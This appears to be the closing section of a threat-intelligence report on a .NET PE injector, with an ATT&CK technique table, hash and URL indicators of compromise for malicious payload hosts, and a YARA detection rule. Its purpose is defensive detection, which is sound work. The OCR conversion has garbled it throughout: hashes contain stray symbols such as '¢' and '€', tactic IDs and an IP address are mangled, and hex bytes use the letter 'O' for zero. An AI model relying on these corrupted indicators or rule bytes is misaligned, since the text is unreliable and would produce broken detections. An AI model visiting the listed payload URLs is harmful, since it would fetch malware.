Discovery  TA0007 System Information  T1082 Queries for the computer
Discovery name
Persistence TA0003 Hijack Execution T1574 DLL Side-Loading
Flow
Privilege TAOOO4 Access Token T1134 Token Impersonation/Theft
Escalation Manipulation
Credential  TAO006 Input Capture T1056 Creates a Directinput object
Access (often for capturing
keystrokes)
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Command  TAO0011 Application Layer T1071 Adversaries may

and Control Protocol communicate using
application layer protocols to
avoid detection.

I0Cs

Sha256:

da78b6a3b5c884402e96f23552ee698Fa93eeb0f3f2d5000c4eacceb3e0e9200
d83b5e97ce07a91b3d3d0ele57e52704e5de787b66d93ab9336b9703554d42¢c3
038c5d0c8353e6b05cab5a4f910e7ddad0040dbd895a487bdca8645a75e052d89
a62le26a3c5ef04e4c3bc384678d65d19d2f9d27¢c4d921babd437965c2effiff
€195324b440b2716c795241f8733c74ee73425873589d9d11dcba4e366¢c30fcc4

URL:
hxxps[://]1a600100[ . Jus[.]archive[.]org/24/items/detah-note-v/DetahNoteV[.]txt
hxxp[://]192[.]13[.]1223[.]30/200/LODCE[.]txt

IP: 192[.]3[.]223[.]30

YARA Rule
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import "pe"
rule Detect_NET_PE_Injector

{

meta:
author = "Tryaq"
date = "2025-02-23"
description = "Detects .NET PE Injector"
reference = "https://x.com/filescan_itsec/status/1889411422943326444"
version = "1.1"
sharing = "TLP:CLEAR"

strings:
$hex1 = { 28 E7 06 00 OA 28 74 10 00 06 }
// call bool RunPE.RunPEE::Ande(string, uint8[])
$hex2 = { 72 F? 73 00 70 OE 04 72 5? 74 00 70 }
// ldstr "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\"
// ldarg.s netframework
// ldstr ".exe"
$hex3 = { 28 A7 10 00 06 }
// call string RunPE.Home::smethod_0(string)

condition:
pe.characteristics & pe.DLL and
for any section in pe.sections : (

section.name == ".text" and section.characteristics & 0x20000000

) and
pe.imports("mscoree.dll") and
all of them
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